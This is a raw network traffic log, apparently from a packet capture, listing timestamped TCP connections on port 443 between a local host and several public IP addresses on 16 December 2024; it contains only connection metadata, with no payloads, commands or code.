Dec 16, 2024 18:46:10.843410015 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:10.843472958 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:10.843871117 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:10.843914032 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:10.844115019 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:10.844120979 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:10.844414949 CET	443	49908	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:10.844491959 CET	49908	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:10.844779015 CET	49908	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:10.844868898 CET	443	49908	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:10.897361040 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:10.897367954 CET	49908	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:10.897384882 CET	443	49908	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:10.945375919 CET	49908	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.169053078 CET	443	49905	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:11.169169903 CET	443	49905	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:11.169233084 CET	49905	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:11.169256926 CET	443	49905	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:11.169866085 CET	49905	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:11.169938087 CET	443	49905	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:11.170001984 CET	49905	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:11.170520067 CET	49915	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:11.170598030 CET	443	49915	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:11.170672894 CET	49915	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:11.170881033 CET	49915	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:11.170916080 CET	443	49915	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:11.411251068 CET	443	49911	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:11.411542892 CET	49911	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:11.411562920 CET	443	49911	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:11.413036108 CET	443	49911	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:11.413431883 CET	49911	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:11.413623095 CET	49911	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:11.413861036 CET	443	49911	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:11.454391956 CET	49911	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:11.541168928 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.541400909 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.541464090 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.541476011 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.541616917 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.541635036 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.541667938 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.541672945 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.541732073 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.543545008 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.557326078 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.557398081 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.557403088 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.597383976 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.597398043 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.645386934 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.660881996 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.708369017 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.733143091 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.735332012 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.735384941 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.735392094 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.743014097 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.743071079 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.743074894 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.750051022 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.750108957 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.750113010 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.764585972 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.764642000 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.764647007 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.771930933 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.771981001 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.771986008 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.779361963 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.779413939 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.779422998 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.787924051 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.787976980 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.787981033 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.794075012 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.794130087 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.794133902 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.801409960 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.801470995 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.801475048 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.809756994 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.809813976 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.809818029 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.816684961 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.816745996 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.816750050 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.852991104 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.853051901 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.853060961 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.892718077 CET	443	49911	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:11.892959118 CET	443	49911	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:11.893021107 CET	49911	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:11.893237114 CET	49911	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:11.893250942 CET	443	49911	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:11.900384903 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.925774097 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.927201033 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.927254915 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.927263975 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.936085939 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.936156988 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.936165094 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.940567970 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.940630913 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.940635920 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.940684080 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.949261904 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.949271917 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.949350119 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.957299948 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.957308054 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.957376003 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.965482950 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.965492964 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.965547085 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.969609022 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.969619036 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.969675064 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.978374004 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.978383064 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.978444099 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.978450060 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.978491068 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.985852957 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.985927105 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.993638992 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.993705988 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:11.997760057 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:11.997845888 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.006263018 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.006333113 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.013813972 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.013915062 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.020040989 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.020109892 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.118069887 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.118261099 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.119739056 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.119805098 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.125869989 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.125936031 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.131963015 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.132036924 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.138101101 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.138173103 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.141014099 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.141086102 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.146750927 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.146831036 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.152159929 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.152224064 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.157730103 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.157793045 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.160190105 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.160255909 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.165024042 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.165110111 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.167613029 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.167676926 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.172596931 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.172673941 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.176141977 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.176211119 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.181540966 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.181603909 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.185906887 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.185972929 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.188430071 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.188493967 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.193171978 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.193238020 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.198168993 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.198235989 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.200639963 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.200699091 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.205641985 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.205710888 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.207938910 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.207998991 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.313786983 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.313885927 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.316788912 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.316965103 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.318741083 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.318814039 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.322326899 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.322391987 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.325964928 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.326030970 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.334908009 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.334929943 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.334968090 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.334990025 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.335001945 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.335022926 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.335046053 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.345494032 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.345540047 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.345674992 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.345685005 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.345791101 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.357741117 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.357783079 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.357822895 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.357834101 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.357872009 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.357886076 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.357889891 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.367093086 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.367142916 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.367175102 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.367186069 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.367216110 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.375358105 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.375399113 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.375432968 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.375442982 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.375469923 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.383824110 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.383872986 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.383908033 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.383915901 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.383933067 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.434499025 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.435127974 CET	443	49912	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:12.435396910 CET	49912	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:12.435436010 CET	443	49912	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:12.435782909 CET	443	49912	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:12.435838938 CET	49912	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:12.436458111 CET	443	49912	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:12.436512947 CET	49912	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:12.436911106 CET	49912	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:12.436970949 CET	443	49912	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:12.437098026 CET	49912	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:12.437105894 CET	443	49912	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:12.482469082 CET	49912	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:12.506596088 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.506639957 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.506799936 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.506799936 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.506819963 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.506867886 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.513079882 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.513120890 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.513159037 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.513195038 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.513219118 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.513253927 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.520163059 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.520204067 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.520245075 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.520255089 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.520291090 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.520302057 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.520308018 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.527472973 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.527534962 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.527570009 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.527580976 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.527615070 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.533730030 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.533768892 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.533807993 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.533823967 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.533838034 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.541280031 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.541327953 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.541368008 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.541379929 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.541393995 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.547580957 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.547620058 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.547672987 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.547687054 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.547714949 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.554878950 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.554927111 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.554954052 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.554965019 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.554991961 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.558095932 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.558167934 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.558180094 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.558329105 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.558379889 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.558478117 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:12.558497906 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:12.871144056 CET	443	49915	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:12.871417046 CET	49915	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:12.871439934 CET	443	49915	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:12.872687101 CET	443	49915	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:12.873106003 CET	49915	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:12.873254061 CET	49915	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:12.873265982 CET	443	49915	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:12.873289108 CET	443	49915	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:12.925375938 CET	49915	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:13.237215996 CET	443	49912	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:13.237242937 CET	443	49912	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:13.237314939 CET	49912	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:13.237379074 CET	443	49912	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:13.238010883 CET	49912	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:13.238070011 CET	443	49912	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:13.238140106 CET	49912	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:13.672456026 CET	443	49915	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:13.672544956 CET	443	49915	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:13.672625065 CET	49915	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:13.672652006 CET	443	49915	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:13.673593044 CET	49915	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:13.673598051 CET	49922	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:13.673677921 CET	443	49915	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:13.673686028 CET	443	49922	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:13.673758030 CET	49915	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:13.673790932 CET	49922	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:13.674155951 CET	49922	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:13.674238920 CET	443	49922	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:14.339154005 CET	49701	443	192.168.2.17	20.190.177.82
Dec 16, 2024 18:46:14.460171938 CET	443	49701	20.190.177.82	192.168.2.17
Dec 16, 2024 18:46:14.460275888 CET	49701	443	192.168.2.17	20.190.177.82
Dec 16, 2024 18:46:15.379565954 CET	443	49922	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:15.380109072 CET	49922	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:15.380173922 CET	443	49922	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:15.381423950 CET	443	49922	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:15.381531000 CET	49922	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:15.383945942 CET	443	49922	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:15.384035110 CET	49922	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:15.384257078 CET	49922	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:15.384444952 CET	443	49922	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:15.384540081 CET	49922	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:15.384567976 CET	443	49922	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:15.429447889 CET	49922	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:15.589804888 CET	49925	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:15.589839935 CET	443	49925	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:15.589916945 CET	49925	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:15.590257883 CET	49925	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:46:15.590277910 CET	443	49925	104.18.161.117	192.168.2.17
Dec 16, 2024 18:46:16.184118986 CET	443	49922	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:16.184220076 CET	443	49922	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:16.184278965 CET	49922	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:16.184295893 CET	443	49922	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:16.185020924 CET	49922	443	192.168.2.17	172.217.19.206
